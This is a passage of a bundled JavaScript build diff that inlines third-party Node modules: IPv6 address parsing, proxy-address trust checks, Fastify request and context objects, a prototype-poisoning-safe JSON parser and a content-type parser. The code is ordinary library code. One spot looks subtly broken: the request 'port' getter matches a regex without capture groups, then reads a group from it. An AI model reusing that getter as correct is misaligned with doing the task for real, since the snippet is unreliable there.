`%${this.zoneId}`; + } + return addr + suffix; + }; + IPv6.prototype.toRFC5952String = function() { + const regex = /((^|:)(0(:|$)){2,})/g; + let suffix = ""; + if (this.zoneId) { + suffix = `%${this.zoneId}`; + } + const normalized = this.toNormalizedString(); + const string4 = normalized.slice(0, normalized.length - suffix.length); + let bestMatchIndex = 0; + let bestMatchLength = -1; + let bestMatchGroups = -1; + let match; + while (match = regex.exec(string4)) { + const groups = (match[0].match(/0/g) || []).length; + if (groups > bestMatchGroups) { + bestMatchGroups = groups; + bestMatchIndex = match.index; + bestMatchLength = match[0].length; + } + } + if (bestMatchLength < 0) { + return string4 + suffix; + } + return `${string4.substring(0, bestMatchIndex)}::${string4.substring(bestMatchIndex + bestMatchLength)}${suffix}`; + }; + IPv6.prototype.toString = function() { + return this.toRFC5952String(); + }; + return IPv6; + }(); + ipaddr.IPv6.broadcastAddressFromCIDR = function(string4) { + try { + const cidr2 = this.parseCIDR(string4); + const ipInterfaceOctets = cidr2[0].toByteArray(); + const subnetMaskOctets = this.subnetMaskFromPrefixLength(cidr2[1]).toByteArray(); + const octets = []; + let i = 0; + while (i < 16) { + octets.push(parseInt(ipInterfaceOctets[i], 10) | parseInt(subnetMaskOctets[i], 10) ^ 255); + i++; + } + return new this(octets); + } catch (e) { + throw new Error("ipaddr: the address does not have IPv6 CIDR format", { cause: e }); + } + }; + ipaddr.IPv6.isIPv6 = function(string4) { + return this.parser(string4) !== null; + }; + ipaddr.IPv6.isValid = function(string4) { + if (typeof string4 === "string" && string4.indexOf(":") === -1) { + return false; + } + try { + const addr = this.parser(string4); + new this(addr.parts, addr.zoneId); + return true; + } catch { + return false; + } + }; + ipaddr.IPv6.isValidCIDR = function(string4) { + if (typeof string4 === "string" && string4.indexOf(":") === -1) { + return false; + } + try { + this.parseCIDR(string4); + return true; + } catch { + return false; + } + }; + ipaddr.IPv6.networkAddressFromCIDR = function(string4) { + let cidr2, i, ipInterfaceOctets, octets, subnetMaskOctets; + try { + cidr2 = this.parseCIDR(string4); + ipInterfaceOctets = cidr2[0].toByteArray(); + subnetMaskOctets = this.subnetMaskFromPrefixLength(cidr2[1]).toByteArray(); + octets = []; + i = 0; + while (i < 16) { + octets.push(parseInt(ipInterfaceOctets[i], 10) & parseInt(subnetMaskOctets[i], 10)); + i++; + } + return new this(octets); + } catch (e) { + throw new Error("ipaddr: the address does not have IPv6 CIDR format", { cause: e }); + } + }; + ipaddr.IPv6.parse = function(string4) { + const addr = this.parser(string4); + if (addr === null) { + throw new Error("ipaddr: string is not formatted like an IPv6 Address"); + } + return new this(addr.parts, addr.zoneId); + }; + ipaddr.IPv6.parseCIDR = function(string4) { + let maskLength, match, parsed; + if (match = string4.match(/^(.+)\/(\d+)$/)) { + maskLength = parseInt(match[2]); + if (maskLength >= 0 && maskLength <= 128) { + parsed = [this.parse(match[1]), maskLength]; + Object.defineProperty(parsed, "toString", { + value: function() { + return this.join("/"); + } + }); + return parsed; + } + } + throw new Error("ipaddr: string is not formatted like an IPv6 CIDR range"); + }; + ipaddr.IPv6.parser = function(string4) { + let addr, i, match, octet, octets, zoneId; + if (match = string4.match(ipv6Regexes.deprecatedTransitional)) { + return this.parser(`::ffff:${match[1]}`); + } + if (ipv6Regexes.native.test(string4)) { + return expandIPv6(string4, 8); + } + if (match = string4.match(ipv6Regexes.transitional)) { + zoneId = match[6] || ""; + addr = match[1]; + if (!match[1].endsWith("::")) { + addr = addr.slice(0, -1); + } + addr = expandIPv6(addr + zoneId, 6); + if (addr && addr.parts) { + octets = [ + parseInt(match[2]), + parseInt(match[3]), + parseInt(match[4]), + parseInt(match[5]) + ]; + for (i = 0; i < octets.length; i++) { + octet = octets[i]; + if (!(0 <= octet && octet <= 255)) { + return null; + } + } + addr.parts.push(octets[0] << 8 | octets[1]); + addr.parts.push(octets[2] << 8 | octets[3]); + return { + parts: addr.parts, + zoneId: addr.zoneId + }; + } + } + return null; + }; + ipaddr.IPv6.subnetMaskFromPrefixLength = function(prefix) { + prefix = parseInt(prefix); + if (Number.isNaN(prefix) || prefix < 0 || prefix > 128) { + throw new Error("ipaddr: invalid IPv6 prefix length"); + } + const octets = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; + let j = 0; + const filledOctetCount = Math.floor(prefix / 8); + while (j < filledOctetCount) { + octets[j] = 255; + j++; + } + if (filledOctetCount < 16) { + octets[filledOctetCount] = Math.pow(2, prefix % 8) - 1 << 8 - prefix % 8; + } + return new this(octets); + }; + ipaddr.fromByteArray = function(bytes) { + const length = bytes.length; + if (length === 4) { + return new ipaddr.IPv4(bytes); + } else if (length === 16) { + return new ipaddr.IPv6(bytes); + } else { + throw new Error("ipaddr: the binary input is neither an IPv6 nor IPv4 address"); + } + }; + ipaddr.isValid = function(string4) { + return ipaddr.IPv6.isValid(string4) || ipaddr.IPv4.isValid(string4); + }; + ipaddr.isValidCIDR = function(string4) { + return ipaddr.IPv6.isValidCIDR(string4) || ipaddr.IPv4.isValidCIDR(string4); + }; + ipaddr.parse = function(string4) { + if (ipaddr.IPv6.isValid(string4)) { + return ipaddr.IPv6.parse(string4); + } else if (ipaddr.IPv4.isValid(string4)) { + return ipaddr.IPv4.parse(string4); + } else { + throw new Error("ipaddr: the address has neither IPv6 nor IPv4 format"); + } + }; + ipaddr.parseCIDR = function(string4) { + try { + return ipaddr.IPv6.parseCIDR(string4); + } catch { + try { + return ipaddr.IPv4.parseCIDR(string4); + } catch (e) { + throw new Error("ipaddr: the address has neither IPv6 nor IPv4 CIDR format", { cause: e }); + } + } + }; + ipaddr.process = function(string4) { + const addr = this.parse(string4); + if (addr.kind() === "ipv6" && addr.isIPv4MappedAddress()) { + return addr.toIPv4Address(); + } else { + return addr; + } + }; + ipaddr.subnetMatch = function(address, rangeList, defaultName) { + let i, rangeName, rangeSubnets, subnet; + if (defaultName === void 0 || defaultName === null) { + defaultName = "unicast"; + } + for (rangeName in rangeList) { + if (Object.prototype.hasOwnProperty.call(rangeList, rangeName)) { + rangeSubnets = rangeList[rangeName]; + if (rangeSubnets[0] && !(rangeSubnets[0] instanceof Array)) { + rangeSubnets = [rangeSubnets]; + } + for (i = 0; i < rangeSubnets.length; i++) { + subnet = rangeSubnets[i]; + if (address.kind() === subnet[0].kind() && address.match.apply(address, subnet)) { + return rangeName; + } + } + } + } + return defaultName; + }; + if (typeof module !== "undefined" && module.exports) { + module.exports = ipaddr; + } else { + root.ipaddr = ipaddr; + } + })(exports); + } +}); + +// node_modules/.pnpm/@fastify+proxy-addr@5.1.1/node_modules/@fastify/proxy-addr/index.js +var require_proxy_addr = __commonJS({ + "node_modules/.pnpm/@fastify+proxy-addr@5.1.1/node_modules/@fastify/proxy-addr/index.js"(exports, module) { + "use strict"; + module.exports = proxyaddr; + module.exports.default = proxyaddr; + module.exports.proxyaddr = proxyaddr; + module.exports.all = alladdrs; + module.exports.compile = compile; + var forwarded = require_forwarded(); + var ipaddr = require_ipaddr(); + var DIGIT_REGEXP = /^\d+$/u; + var isip = ipaddr.isValid; + var parseip = ipaddr.parse; + var IP_RANGES = { + linklocal: ["169.254.0.0/16", "fe80::/10"], + loopback: ["127.0.0.1/8", "::1/128"], + uniquelocal: ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "fc00::/7"] + }; + function alladdrs(req, trust) { + const addrs = forwarded(req); + if (!trust) { + return addrs; + } + if (typeof trust !== "function") { + trust = compile(trust); + } + for (let i = 0; i < addrs.length - 1; i++) { + if (trust(addrs[i], i)) continue; + addrs.length = i + 1; + } + return addrs; + } + function compile(val) { + if (!val) { + throw new TypeError("argument is required"); + } + let trust; + if (typeof val === "string") { + trust = [val]; + } else if (Array.isArray(val)) { + trust = val.slice(); + } else { + throw new TypeError("unsupported trust argument"); + } + for (let i = 0; i < trust.length; i++) { + val = trust[i]; + if (!Object.hasOwn(IP_RANGES, val)) { + continue; + } + val = IP_RANGES[val]; + trust.splice.apply(trust, [i, 1].concat(val)); + i += val.length - 1; + } + return compileTrust(compileRangeSubnets(trust)); + } + function compileRangeSubnets(arr) { + const rangeSubnets = new Array(arr.length); + for (let i = 0; i < arr.length; i++) { + rangeSubnets[i] = parseipNotation(arr[i]); + } + return rangeSubnets; + } + function compileTrust(rangeSubnets) { + const len = rangeSubnets.length; + return len === 0 ? trustNone : len === 1 ? trustSingle(rangeSubnets[0]) : trustMulti(rangeSubnets); + } + function parseipNotation(note) { + const pos = note.lastIndexOf("/"); + const str = pos !== -1 ? note.substring(0, pos) : note; + if (!isip(str)) { + throw new TypeError("invalid IP address: " + str); + } + let ip = parseip(str); + if (pos === -1 && ip.kind() === "ipv6" && ip.isIPv4MappedAddress()) { + ip = ip.toIPv4Address(); + } + const max = ip.kind() === "ipv6" ? 128 : 32; + let range = pos !== -1 ? note.substring(pos + 1, note.length) : null; + if (range === null) { + range = max; + } else if (DIGIT_REGEXP.test(range)) { + range = parseInt(range, 10); + } else if (ip.kind() === "ipv4" && isip(range)) { + range = parseNetmask(range); + } else { + range = null; + } + if (range <= 0 || range > max) { + throw new TypeError("invalid range on address: " + note); + } + return [ip, range]; + } + function parseNetmask(netmask) { + const ip = parseip(netmask); + const kind = ip.kind(); + return kind === "ipv4" ? ip.prefixLengthFromSubnetMask() : null; + } + function proxyaddr(req, trust) { + if (!req) { + throw new TypeError("req argument is required"); + } + if (!trust) { + throw new TypeError("trust argument is required"); + } + const addrs = alladdrs(req, trust); + return addrs[addrs.length - 1]; + } + function trustNone() { + return false; + } + function trustMulti(subnets) { + return function trust(addr) { + if (!isip(addr)) return false; + let ip = parseip(addr); + if (ip.kind() === "ipv6" && ip.isIPv4MappedAddress()) { + ip = ip.toIPv4Address(); + } + let ipconv; + const kind = ip.kind(); + for (let i = 0; i < subnets.length; i++) { + const subnet = subnets[i]; + const subnetip = subnet[0]; + const subnetkind = subnetip.kind(); + const subnetrange = subnet[1]; + let trusted = ip; + if (kind !== subnetkind) { + const subnetisipv4 = subnetkind === "ipv4"; + if (subnetisipv4 && !ip.isIPv4MappedAddress()) { + continue; + } + if (!subnetisipv4 && !(subnetrange >= 96 && subnetip.isIPv4MappedAddress())) { + continue; + } + if (!ipconv) { + ipconv = ip.toIPv4MappedAddress(); + } + trusted = ipconv; + } else if (kind === "ipv6" && subnetip.isIPv4MappedAddress()) { + continue; + } + if (trusted.match(subnetip, subnetrange)) { + return true; + } + } + return false; + }; + } + function trustSingle(subnet) { + const subnetip = subnet[0]; + const subnetkind = subnetip.kind(); + const subnetisipv4 = subnetkind === "ipv4"; + const subnetrange = subnet[1]; + return function trust(addr) { + if (!isip(addr)) return false; + let ip = parseip(addr); + if (ip.kind() === "ipv6" && ip.isIPv4MappedAddress()) { + ip = ip.toIPv4Address(); + } + const kind = ip.kind(); + if (kind !== subnetkind) { + if (subnetisipv4 && !ip.isIPv4MappedAddress()) { + return false; + } + if (!subnetisipv4 && !(subnetrange >= 96 && subnetip.isIPv4MappedAddress())) { + return false; + } + ip = ip.toIPv4MappedAddress(); + } else if (kind === "ipv6" && subnetip.isIPv4MappedAddress()) { + return false; + } + return ip.match(subnetip, subnetrange); + }; + } + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/request.js +var require_request = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/request.js"(exports, module) { + "use strict"; + var proxyAddr = require_proxy_addr(); + var { + kHasBeenDecorated, + kSchemaBody, + kSchemaHeaders, + kSchemaParams, + kSchemaQuerystring, + kSchemaController, + kOptions, + kRequestCacheValidateFns, + kRequestContentType, + kRouteContext, + kRequestOriginalUrl, + kRequestSignal, + kOnAbort + } = require_symbols3(); + var { FST_ERR_REQ_INVALID_VALIDATION_INVOCATION, FST_ERR_DEC_UNDECLARED } = require_errors2(); + var decorators = require_decorate(); + var ContentType = require_content_type(); + var HTTP_PART_SYMBOL_MAP = { + body: kSchemaBody, + headers: kSchemaHeaders, + params: kSchemaParams, + querystring: kSchemaQuerystring, + query: kSchemaQuerystring + }; + function Request(id, params, req, query, log, context2) { + this.id = id; + this[kRouteContext] = context2; + this.params = params; + this.raw = req; + this.query = query; + this.log = log; + this.body = void 0; + } + Request.props = []; + Request.instanceProperties = /* @__PURE__ */ new Set(["id", "params", "raw", "query", "log", "body"]); + function getTrustProxyFn(tp) { + if (typeof tp === "function") { + return tp; + } + if (tp === true) { + return function() { + return true; + }; + } + if (typeof tp === "number") { + return function() { + return false; + }; + } + if (typeof tp === "string") { + const values2 = tp.split(",").map((it) => it.trim()); + return proxyAddr.compile(values2); + } + return proxyAddr.compile(tp); + } + function buildRequest(R, trustProxy) { + if (trustProxy) { + return buildRequestWithTrustProxy(R, trustProxy); + } + return buildRegularRequest(R); + } + function buildRegularRequest(R) { + const props = R.props.slice(); + function _Request(id, params, req, query, log, context2) { + this.id = id; + this[kRouteContext] = context2; + this.params = params; + this.raw = req; + this.query = query; + this.log = log; + this.body = void 0; + let prop; + for (let i = 0; i < props.length; i++) { + prop = props[i]; + this[prop.key] = prop.value; + } + } + Object.setPrototypeOf(_Request.prototype, R.prototype); + Object.setPrototypeOf(_Request, R); + _Request.props = props; + _Request.parent = R; + return _Request; + } + function getLastEntryInMultiHeaderValue(headerValue) { + const lastIndex = headerValue.lastIndexOf(","); + return lastIndex === -1 ? headerValue.trim() : headerValue.slice(lastIndex + 1).trim(); + } + function buildRequestWithTrustProxy(R, trustProxy) { + const _Request = buildRegularRequest(R); + const proxyFn = getTrustProxyFn(trustProxy); + _Request[kHasBeenDecorated] = true; + Object.defineProperties(_Request.prototype, { + ip: { + get() { + const addrs = proxyAddr.all(this.raw, proxyFn); + return addrs[addrs.length - 1]; + } + }, + ips: { + get() { + return proxyAddr.all(this.raw, proxyFn); + } + }, + host: { + get() { + const socket = this.raw.socket; + if (this.headers["x-forwarded-host"] && socket != null && proxyFn(socket.remoteAddress, 0)) { + return getLastEntryInMultiHeaderValue(this.headers["x-forwarded-host"]); + } + return this.headers.host ?? this.headers[":authority"] ?? ""; + } + }, + protocol: { + get() { + const socket = this.raw.socket; + if (this.headers["x-forwarded-proto"] && socket != null && proxyFn(socket.remoteAddress, 0)) { + return getLastEntryInMultiHeaderValue(this.headers["x-forwarded-proto"]); + } + if (this.socket) { + return this.socket.encrypted ? "https" : "http"; + } + } + } + }); + return _Request; + } + function assertsRequestDecoration(request, name) { + if (!decorators.hasKey(request, name) && !decorators.exist(request, name)) { + throw new FST_ERR_DEC_UNDECLARED(name, "request"); + } + } + Object.defineProperties(Request.prototype, { + server: { + get() { + return this[kRouteContext].server; + } + }, + url: { + get() { + return this.raw.url; + } + }, + originalUrl: { + get() { + if (!this[kRequestOriginalUrl]) { + this[kRequestOriginalUrl] = this.raw.originalUrl || this.raw.url; + } + return this[kRequestOriginalUrl]; + } + }, + method: { + get() { + return this.raw.method; + } + }, + routeOptions: { + get() { + const context2 = this[kRouteContext]; + const routeLimit = context2._parserOptions.limit; + const serverLimit = context2.server.initialConfig.bodyLimit; + const version3 = context2.server.hasConstraintStrategy("version") ? this.raw.headers["accept-version"] : void 0; + const options = { + method: context2.config?.method, + url: context2.config?.url, + bodyLimit: routeLimit || serverLimit, + handlerTimeout: context2.handlerTimeout, + attachValidation: context2.attachValidation, + logLevel: context2.logLevel, + exposeHeadRoute: context2.exposeHeadRoute, + prefixTrailingSlash: context2.prefixTrailingSlash, + handler: context2.handler, + config: context2.config, + schema: context2.schema, + version: version3 + }; + return options; + } + }, + is404: { + get() { + return this[kRouteContext].config?.url === void 0; + } + }, + socket: { + get() { + return this.raw.socket; + } + }, + signal: { + get() { + let ac = this[kRequestSignal]; + if (ac) return ac.signal; + ac = new AbortController(); + this[kRequestSignal] = ac; + const onAbort = () => { + if (!ac.signal.aborted) ac.abort(); + }; + this.raw.on("close", onAbort); + this[kOnAbort] = onAbort; + return ac.signal; + } + }, + ip: { + get() { + if (this.socket) { + return this.socket.remoteAddress; + } + } + }, + host: { + get() { + return this.raw.headers.host ?? this.raw.headers[":authority"] ?? ""; + } + }, + hostname: { + get() { + if (this.host[0] === "[") { + return this.host.slice(0, this.host.indexOf("]") + 1); + } + return this.host.split(":", 1)[0]; + } + }, + port: { + get() { + const portReg = /(?:\d+)$/; + const matches = portReg.exec(this.host); + if (matches === null || matches[1] === void 0) { + return null; + } + return parseInt(matches.groups.port.slice(1), 10); + } + }, + protocol: { + get() { + if (this.socket) { + return this.socket.encrypted ? "https" : "http"; + } + } + }, + headers: { + get() { + if (this.additionalHeaders) { + return Object.assign({}, this.raw.headers, this.additionalHeaders); + } + return this.raw.headers; + }, + set(headers) { + this.additionalHeaders = headers; + } + }, + mediaType: { + get() { + if (!this[kRequestContentType] && this.headers["content-type"] !== void 0) { + this[kRequestContentType] = ContentType.from(this.headers["content-type"]); + } + return this[kRequestContentType]?.mediaType; + } + }, + getValidationFunction: { + value: function(httpPartOrSchema) { + if (typeof httpPartOrSchema === "string") { + const symbol2 = HTTP_PART_SYMBOL_MAP[httpPartOrSchema]; + return this[kRouteContext][symbol2]; + } else if (typeof httpPartOrSchema === "object") { + return this[kRouteContext][kRequestCacheValidateFns]?.get(httpPartOrSchema); + } + } + }, + compileValidationSchema: { + value: function(schema, httpPart = null) { + const { method, url: url2 } = this; + if (this[kRouteContext][kRequestCacheValidateFns]?.has(schema)) { + return this[kRouteContext][kRequestCacheValidateFns].get(schema); + } + const validatorCompiler = this[kRouteContext].validatorCompiler || this.server[kSchemaController].validatorCompiler || // We compile the schemas if no custom validatorCompiler is provided + // nor set + (this.server[kSchemaController].setupValidator(this.server[kOptions]) || this.server[kSchemaController].validatorCompiler); + const validateFn = validatorCompiler({ + schema, + method, + url: url2, + httpPart + }); + if (this[kRouteContext][kRequestCacheValidateFns] == null) { + this[kRouteContext][kRequestCacheValidateFns] = /* @__PURE__ */ new WeakMap(); + } + this[kRouteContext][kRequestCacheValidateFns].set(schema, validateFn); + return validateFn; + } + }, + validateInput: { + value: function(input, schema, httpPart) { + httpPart = typeof schema === "string" ? schema : httpPart; + const symbol2 = httpPart != null && typeof httpPart === "string" && HTTP_PART_SYMBOL_MAP[httpPart]; + let validate; + if (symbol2) { + validate = this[kRouteContext][symbol2]; + } + if (validate == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { + throw new FST_ERR_REQ_INVALID_VALIDATION_INVOCATION(httpPart); + } + if (validate == null) { + if (this[kRouteContext][kRequestCacheValidateFns]?.has(schema)) { + validate = this[kRouteContext][kRequestCacheValidateFns].get(schema); + } else { + validate = this.compileValidationSchema(schema, httpPart); + } + } + return validate(input); + } + }, + getDecorator: { + value: function(name) { + assertsRequestDecoration(this, name); + const decorator = this[name]; + if (typeof decorator === "function") { + return decorator.bind(this); + } + return decorator; + } + }, + setDecorator: { + value: function(name, value) { + assertsRequestDecoration(this, name); + this[name] = value; + } + } + }); + module.exports = Request; + module.exports.buildRequest = buildRequest; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/context.js +var require_context = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/context.js"(exports, module) { + "use strict"; + var { + kFourOhFourContext, + kReplySerializerDefault, + kSchemaErrorFormatter, + kErrorHandler, + kChildLoggerFactory, + kReply, + kRequest, + kBodyLimit, + kLogLevel, + kContentTypeParser, + kRouteByFastify, + kRequestCacheValidateFns, + kReplyCacheSerializeFns, + kHandlerTimeout + } = require_symbols3(); + function Context({ + schema, + handler, + config: config2, + childLoggerFactory, + errorHandler, + bodyLimit, + logLevel, + logSerializers, + attachValidation, + validatorCompiler, + serializerCompiler, + replySerializer, + schemaErrorFormatter, + exposeHeadRoute, + prefixTrailingSlash, + server, + isFastify, + handlerTimeout + }) { + this.schema = schema; + this.handler = handler; + this.Reply = server[kReply]; + this.Request = server[kRequest]; + this.contentTypeParser = server[kContentTypeParser]; + this.onRequest = null; + this.onSend = null; + this.onError = null; + this.onTimeout = null; + this.preHandler = null; + this.onResponse = null; + this.preSerialization = null; + this.onRequestAbort = null; + this.config = config2; + this.errorHandler = errorHandler || server[kErrorHandler]; + this.childLoggerFactory = childLoggerFactory || server[kChildLoggerFactory]; + this._middie = null; + this._parserOptions = { + limit: bodyLimit || server[kBodyLimit] + }; + this.exposeHeadRoute = exposeHeadRoute; + this.prefixTrailingSlash = prefixTrailingSlash; + this.logLevel = logLevel || server[kLogLevel]; + this.logSerializers = logSerializers; + this[kFourOhFourContext] = null; + this.attachValidation = attachValidation; + this[kReplySerializerDefault] = replySerializer; + this.schemaErrorFormatter = schemaErrorFormatter || server[kSchemaErrorFormatter] || defaultSchemaErrorFormatter; + this[kRouteByFastify] = isFastify; + this[kRequestCacheValidateFns] = null; + this[kReplyCacheSerializeFns] = null; + this.validatorCompiler = validatorCompiler || null; + this.serializerCompiler = serializerCompiler || null; + this.handlerTimeout = handlerTimeout || server[kHandlerTimeout] || 0; + this.server = server; + } + function defaultSchemaErrorFormatter(errors, dataVar) { + let text2 = ""; + const separator = ", "; + for (let i = 0; i !== errors.length; ++i) { + const e = errors[i]; + text2 += dataVar + (e.instancePath || "") + " " + e.message + separator; + } + return new Error(text2.slice(0, -separator.length)); + } + module.exports = Context; + } +}); + +// node_modules/.pnpm/secure-json-parse@4.1.0/node_modules/secure-json-parse/index.js +var require_secure_json_parse = __commonJS({ + "node_modules/.pnpm/secure-json-parse@4.1.0/node_modules/secure-json-parse/index.js"(exports, module) { + "use strict"; + var hasBuffer = typeof Buffer !== "undefined"; + var suspectProtoRx = /"(?:_|\\u005[Ff])(?:_|\\u005[Ff])(?:p|\\u0070)(?:r|\\u0072)(?:o|\\u006[Ff])(?:t|\\u0074)(?:o|\\u006[Ff])(?:_|\\u005[Ff])(?:_|\\u005[Ff])"\s*:/; + var suspectConstructorRx = /"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/; + function _parse2(text2, reviver, options) { + if (options == null) { + if (reviver !== null && typeof reviver === "object") { + options = reviver; + reviver = void 0; + } + } + if (hasBuffer && Buffer.isBuffer(text2)) { + text2 = text2.toString(); + } + if (text2 && text2.charCodeAt(0) === 65279) { + text2 = text2.slice(1); + } + const obj = JSON.parse(text2, reviver); + if (obj === null || typeof obj !== "object") { + return obj; + } + const protoAction = options && options.protoAction || "error"; + const constructorAction = options && options.constructorAction || "error"; + if (protoAction === "ignore" && constructorAction === "ignore") { + return obj; + } + if (protoAction !== "ignore" && constructorAction !== "ignore") { + if (suspectProtoRx.test(text2) === false && suspectConstructorRx.test(text2) === false) { + return obj; + } + } else if (protoAction !== "ignore" && constructorAction === "ignore") { + if (suspectProtoRx.test(text2) === false) { + return obj; + } + } else { + if (suspectConstructorRx.test(text2) === false) { + return obj; + } + } + return filter(obj, { protoAction, constructorAction, safe: options && options.safe }); + } + function filter(obj, { protoAction = "error", constructorAction = "error", safe } = {}) { + let next = [obj]; + while (next.length) { + const nodes = next; + next = []; + for (const node of nodes) { + if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "__proto__")) { + if (safe === true) { + return null; + } else if (protoAction === "error") { + throw new SyntaxError("Object contains forbidden prototype property"); + } + delete node.__proto__; + } + if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "constructor") && node.constructor !== null && typeof node.constructor === "object" && Object.prototype.hasOwnProperty.call(node.constructor, "prototype")) { + if (safe === true) { + return null; + } else if (constructorAction === "error") { + throw new SyntaxError("Object contains forbidden prototype property"); + } + delete node.constructor; + } + for (const key in node) { + const value = node[key]; + if (value && typeof value === "object") { + next.push(value); + } + } + } + } + return obj; + } + function parse4(text2, reviver, options) { + const { stackTraceLimit } = Error; + Error.stackTraceLimit = 0; + try { + return _parse2(text2, reviver, options); + } finally { + Error.stackTraceLimit = stackTraceLimit; + } + } + function safeParse3(text2, reviver) { + const { stackTraceLimit } = Error; + Error.stackTraceLimit = 0; + try { + return _parse2(text2, reviver, { safe: true }); + } catch { + return void 0; + } finally { + Error.stackTraceLimit = stackTraceLimit; + } + } + module.exports = parse4; + module.exports.default = parse4; + module.exports.parse = parse4; + module.exports.safeParse = safeParse3; + module.exports.scan = filter; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/content-type-parser.js +var require_content_type_parser = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/content-type-parser.js"(exports, module) { + "use strict"; + var { AsyncResource } = __require("node:async_hooks"); + var { FifoMap: Fifo } = require_toad_cache(); + var { parse: secureJsonParse } = require_secure_json_parse(); + var ContentType = require_content_type(); + var { + kDefaultJsonParse, + kContentTypeParser, + kBodyLimit, + kRequestPayloadStream, + kState, + kTestInternals, + kReplyIsError, + kRouteContext + } = require_symbols3(); + var { + FST_ERR_CTP_INVALID_TYPE, + FST_ERR_CTP_EMPTY_TYPE, + FST_ERR_CTP_ALREADY_PRESENT, + FST_ERR_CTP_INVALID_HANDLER, + FST_ERR_CTP_INVALID_PARSE_TYPE, + FST_ERR_CTP_BODY_TOO_LARGE, + FST_ERR_CTP_INVALID_MEDIA_TYPE, + FST_ERR_CTP_INVALID_CONTENT_LENGTH, + FST_ERR_CTP_EMPTY_JSON_BODY, + FST_ERR_CTP_INSTANCE_ALREADY_STARTED, + FST_ERR_CTP_INVALID_JSON_BODY + } = require_errors2(); + var { FSTSEC001 } = require_warnings(); + function ContentTypeParser(bodyLimit, onProtoPoisoning, onConstructorPoisoning) { + this[kDefaultJsonParse] = getDefaultJsonParser(onProtoPoisoning, onConstructorPoisoning); + this.customParsers = /* @__PURE__ */ new Map(); + this.customParsers.set("application/json", new Parser(true, false, bodyLimit, this[kDefaultJsonParse])); + this.customParsers.set("text/plain", new Parser(true, false, bodyLimit, defaultPlainTextParser)); + this.parserList = ["application/json", "text/plain"]; + this.parserRegExpList = []; + this.cache = new Fifo(100); + } + ContentTypeParser.prototype.add = function(contentType, opts, parserFn) { + const contentTypeIsString = typeof contentType === "string"; + if (contentTypeIsString) { + contentType = contentType.trim().toLowerCase(); + if (contentType.length === 0) throw new FST_ERR_CTP_EMPTY_TYPE(); + } else if (!(contentType instanceof RegExp)) { + throw new FST_ERR_CTP_INVALID_TYPE(); + } + if (typeof parserFn !== "function") { + throw new FST_ERR_CTP_INVALID_HANDLER(); + } + if (this.existingParser(contentType)) { + throw new FST_ERR_CTP_ALREADY_PRESENT(contentType); + } + if (opts.parseAs !== void 0) { + if (opts.parseAs !== "string" && opts.parseAs !== "buffer") { + throw new FST_ERR_CTP_INVALID_PARSE_TYPE(opts.parseAs); + } + } + const parser = new Parser( + opts.parseAs === "string", + opts.parseAs === "buffer", + opts.bodyLimit, + parserFn + ); + if (contentType === "*") { + this.customParsers.set("", parser); + } else { + if (contentTypeIsString) { + const ct = new ContentType(contentType); + if (ct.isValid === false) { + throw new FST_ERR_CTP_INVALID_TYPE(); + } + const normalizedContentType = ct.toString(); + this.parserList.unshift(normalizedContentType); + this.customParsers.set(normalizedContentType, parser); + } else { + validateRegExp(contentType); + this.parserRegExpList.unshift(contentType); + this.customParsers.set(contentType.toString(), parser); + } + } + }; + ContentTypeParser.prototype.hasParser = function(contentType) { + if (typeof contentType === "string") { + contentType = new ContentType(contentType).toString(); + } else { + if (!(contentType instanceof RegExp)) throw new FST_ERR_CTP_INVALID_TYPE(); + contentType = contentType.toString(); + } + return this.customParsers.has(contentType); + }; + ContentTypeParser.prototype.existingParser = function(contentType) { + if (typeof contentType === "string") { + const ct = new ContentType(contentType).toString(); + if (contentType === "application/json" && this.customParsers.has(contentType)) { + return this.customParsers.get(ct).fn !== this[kDefaultJsonParse]; + } + if (contentType === "text/plain" && this.customParsers.has(contentType)) { + return this.customParsers.get(ct).fn !== defaultPlainTextParser; + } + } + return this.hasParser(contentType); + }; + ContentTypeParser.prototype.getParser = function(contentType) { + if (typeof contentType === "string") { + const cached2 = this.cache.get(contentType); + if (cached2 !== void 0) return cached2; + contentType = new ContentType(contentType); + } + const ct = contentType.toString(); + let parser = this.cache.get(ct); + if (parser !== void 0) return parser; + parser = this.customParsers.get(ct); + if (parser !== void 0) { + this.cache.set(ct, parser); + return parser; + } + parser = this.customParsers.get(contentType.mediaType); + if (parser !== void 0) { + this.cache.set(ct, parser); + return parser; + } + for (let j = 0; j !== this.parserRegExpList.length; ++j) { + const parserRegExp = this.parserRegExpList[j]; + parserRegExp.lastIndex = 0; + if (parserRegExp.test(ct)) { + parser = this.customParsers.get(parserRegExp.toString()); + this.cache.set(ct, parser); + return parser; + } + } + return this.customParsers.get(""); + }; + ContentTypeParser.prototype.removeAll = function() { + this.customParsers = /* @__PURE__ */ new Map(); + this.parserRegExpList = []; + this.parserList = []; + this.cache = new Fifo(100); + }; + ContentTypeParser.prototype.remove = function(contentType) { + let parsers2; + if (typeof contentType === "string") { + contentType = new ContentType(contentType).toString(); + parsers2 = this.parserList; + } else { + if (!(contentType instanceof RegExp)) throw new FST_ERR_CTP_INVALID_TYPE(); + contentType = contentType.toString(); + parsers2 = this.parserRegExpList; + } + const removed = this.customParsers.delete(contentType); + const idx = parsers2.findIndex((ct) => ct.toString() === contentType); + if (idx > -1) { + parsers2.splice(idx, 1); + } + return removed || idx > -1; + }; + ContentTypeParser.prototype.run = function(contentType, handler, request, reply) { + const parser = this.getParser(contentType); + if (parser === void 0) { + if (request.is404 === true) { + handler(request, reply); + return; + } + reply[kReplyIsError] = true; + reply.send(new FST_ERR_CTP_INVALID_MEDIA_TYPE()); + return; + } + const resource = new AsyncResource("content-type-parser:run", request); + function done(error51, body) { + 